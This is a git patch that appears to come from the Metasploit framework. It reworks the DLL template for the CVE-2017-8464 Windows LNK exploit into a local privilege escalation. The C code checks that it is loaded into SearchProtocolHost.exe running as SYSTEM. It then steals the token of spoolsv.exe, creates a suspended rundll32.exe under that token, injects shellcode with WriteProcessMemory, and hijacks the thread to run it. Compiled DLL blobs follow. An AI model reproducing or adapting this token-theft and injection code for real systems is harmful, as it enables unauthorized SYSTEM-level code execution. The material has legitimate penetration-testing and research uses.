From d0ebfa195082e712049bd9fc018a17940b847630 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 3 Oct 2017 13:43:49 -0400 Subject: [PATCH] Change the template technicque to work as an LPE --- data/exploits/cve-2017-8464/src/build.sh | 2 + data/exploits/cve-2017-8464/src/template.c | 251 ++++++++++++++---- data/exploits/cve-2017-8464/src/template.h | 8 + .../cve-2017-8464/template_x64_windows.dll | Bin 19456 -> 21504 bytes .../cve-2017-8464/template_x86_windows.dll | Bin 14848 -> 17408 bytes .../windows/local/cve_2017_8464_lnk_lpe.rb | 14 +- 6 files changed, 222 insertions(+), 53 deletions(-) mode change 100755 => 100644 data/exploits/cve-2017-8464/template_x64_windows.dll mode change 100755 => 100644 data/exploits/cve-2017-8464/template_x86_windows.dll diff --git a/data/exploits/cve-2017-8464/src/build.sh b/data/exploits/cve-2017-8464/src/build.sh index 878e3e3fa8..202daa5413 100755 --- a/data/exploits/cve-2017-8464/src/build.sh +++ b/data/exploits/cve-2017-8464/src/build.sh @@ -8,8 +8,10 @@ ${CCx64}-gcc -m64 -c -Os template.c -Wall -shared ${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll ${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll rm -f temp.dll *.o +chmod -x ../template_x64_windows.dll ${CCx86}-gcc -c -Os template.c -Wall -shared ${CCx86}-dllwrap --def template.def *.o -o temp.dll ${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll rm -f temp.dll *.o +chmod -x ../template_x86_windows.dll diff --git a/data/exploits/cve-2017-8464/src/template.c b/data/exploits/cve-2017-8464/src/template.c index 01553dc914..af8924e605 100644 --- a/data/exploits/cve-2017-8464/src/template.c +++ b/data/exploits/cve-2017-8464/src/template.c @@ -1,25 +1,17 @@ -// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll -// - removed ExitThread(0) to prevent an Explorer crash -// - added Mutex to prevent invoking payload multiple times (at least try) #include +#include +#include +#include +#include + #include "template.h" -void inline_bzero(void *p, size_t l) -{ - BYTE *q = (BYTE *)p; - size_t x = 0; - for (x = 0; x < l; x++) - *(q++) = 0x00; -} +void ExecutePayload(HANDLE hDll); -void ExecutePayload(void); - -BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) -{ - switch (dwReason) - { +BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { + switch (dwReason) { case DLL_PROCESS_ATTACH: - ExecutePayload(); + ExecutePayload(hDll); break; case DLL_PROCESS_DETACH: @@ -31,65 +23,232 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) case DLL_THREAD_DETACH: break; } - return TRUE; } -void ExecutePayload(void) -{ +BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) { + int result; + + if (strlen(szStr) < strlen(szSuffix)) { + return FALSE; + } + if (bCaseSensitive) { + result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix); + } + else { + result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix); + } + return result == 0; +} + +BOOL GetProcessSid(HANDLE hProc, PSID *pSid) { + HANDLE hToken; + DWORD dwLength = 0; + TOKEN_USER *tuUser = NULL; + SIZE_T szSid = 0; + + *pSid = NULL; + do { + if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) { + return FALSE; + } + + GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength); + tuUser = (TOKEN_USER *)malloc(dwLength); + if (tuUser == NULL) { + break; + } + + if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) { + break; + } + + szSid = GetLengthSid(tuUser->User.Sid); + *pSid = LocalAlloc(LPTR, szSid); + if (*pSid == NULL) { + break; + } + + if (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid)) { + LocalFree(*pSid); + *pSid = NULL; + } + } while (FALSE); + + if (tuUser != NULL) { + free(tuUser); + } + if (hToken) { + CloseHandle(hToken); + } + + if (*pSid != NULL) { + return TRUE; + } + return FALSE; +} + +BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) { + PSID pTestSid = NULL; + PSID pTargetSid = NULL; + + if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) { + return FALSE; + } + + if (!GetProcessSid(hProc, &pTestSid)) { + LocalFree(pTargetSid); + return FALSE; + } + + *pbResult = EqualSid(pTestSid, pTargetSid); + LocalFree(pTargetSid); + LocalFree(pTestSid); + return TRUE; +} + +DWORD FindProcessId(LPCTSTR szProcessName) { + HANDLE hProcessSnap; + PROCESSENTRY32 pe32; + DWORD result = 0; + + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + return 0; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + if (!Process32First(hProcessSnap, &pe32)) { + CloseHandle(hProcessSnap); + return 0; + } + + do { + if (!strcmp(szProcessName, pe32.szExeFile)) { + result = pe32.th32ProcessID; + break; + } + } while (Process32Next(hProcessSnap, &pe32)); + CloseHandle(hProcessSnap); + return result; +} + +HANDLE GetPayloadToken(void) { + HANDLE hTokenHandle = NULL; + HANDLE hProcessHandle = NULL; + BOOL bIsSystem = FALSE; + DWORD dwPid = 0; + CHAR Path[MAX_PATH + 1]; + + ZeroMemory(Path, sizeof(Path)); + GetModuleFileNameA(NULL, Path, MAX_PATH); + if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) { + return NULL; + } + /* loaded into the context of SearchProtocolHost.exe */ + + if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) { + return NULL; + } + /* and running as NT_AUTHORITY SYSTEM */ + + dwPid = FindProcessId("spoolsv.exe"); + if (!dwPid) { + return NULL; + } + + hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); + if (!hProcessHandle) { + return NULL; + } + + bIsSystem = FALSE; + if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) { + return NULL; + } + /* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */ + + OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle); + CloseHandle(hProcessHandle); + return hTokenHandle; +} + +DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) { + /* wait for the process to exit or 10 seconds before cleaning up */ + WaitForSingleObject(pExploitData->hProcess, 10000); + CloseHandle(pExploitData->hProcess); + CloseHandle(pExploitData->hMutex); + + /* this does not return */ + FreeLibraryAndExitThread(pExploitData->hModule, 0); + return 0; +} + +void ExecutePayload(HANDLE hDll) { PROCESS_INFORMATION pi; STARTUPINFO si; CONTEXT ctx; LPVOID ep; - HANDLE hMutex; SECURITY_ATTRIBUTES MutexAttributes; + SIZE_T dwBytesWritten = 0; + PEXPLOIT_DATA pExploitData = NULL; + HANDLE hToken; - inline_bzero(&MutexAttributes, sizeof(MutexAttributes)); + pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA)); + if (!pExploitData) { + return; + } + + /* keep a reference to the module for synchronization purposes */ + GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule)); + + ZeroMemory(&MutexAttributes, sizeof(MutexAttributes)); MutexAttributes.nLength = sizeof(MutexAttributes); MutexAttributes.bInheritHandle = TRUE; // inherit the handle - hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex"); - if(hMutex == NULL) - { + pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!"); + if (!pExploitData->hMutex) { return; } - if(GetLastError() == ERROR_ALREADY_EXISTS) - { - CloseHandle(hMutex); + if (GetLastError() == ERROR_ALREADY_EXISTS) { + CloseHandle(pExploitData->hMutex); return; } - if(GetLastError() == ERROR_ACCESS_DENIED) - { - CloseHandle(hMutex); + if (GetLastError() == ERROR_ACCESS_DENIED) { + CloseHandle(pExploitData->hMutex); return; } - // Start up the payload in a new process - inline_bzero(&si, sizeof(si)); + hToken = GetPayloadToken(); + + ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); - // Create a suspended process, write shellcode into stack, resume it - if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { - ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; + /* start up the payload in a new process */ + if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { + ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL; GetThreadContext(pi.hThread, &ctx); - ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); + WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten); + if (dwBytesWritten == SCSIZE) { #ifdef _WIN64 - ctx.Rip = (DWORD64)ep; + ctx.Rip = (DWORD64)ep; #else - ctx.Eip = (DWORD)ep; + ctx.Eip = (DWORD)ep; #endif - SetThreadContext(pi.hThread, &ctx); - ResumeThread(pi.hThread); + SetThreadContext(pi.hThread, &ctx); + ResumeThread(pi.hThread); - CloseHandle(pi.hThread); - CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + pExploitData->hProcess = pi.hProcess; + } } - CloseHandle(hMutex); + if (hToken) { + CloseHandle(hToken); + } + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL); } - diff --git a/data/exploits/cve-2017-8464/src/template.h b/data/exploits/cve-2017-8464/src/template.h index 7a674c3006..7181e46cba 100644 --- a/data/exploits/cve-2017-8464/src/template.h +++ b/data/exploits/cve-2017-8464/src/template.h @@ -1,3 +1,11 @@ #define SCSIZE 2048 unsigned char code[SCSIZE] = "PAYLOAD:"; +typedef struct { + HANDLE hModule; + HANDLE hMutex; + HANDLE hProcess; +} EXPLOIT_DATA, *PEXPLOIT_DATA; + +#define SIDSTR_SYSTEM _T("s-1-5-18") +#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult) diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll old mode 100755 new mode 100644 index 40958f8986cbabb90b1e2174d1dcaa6eaa1fa83c..eda57c8d927d138f1786132d7d1324c704bb70c8 GIT binary patch literal 21504 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 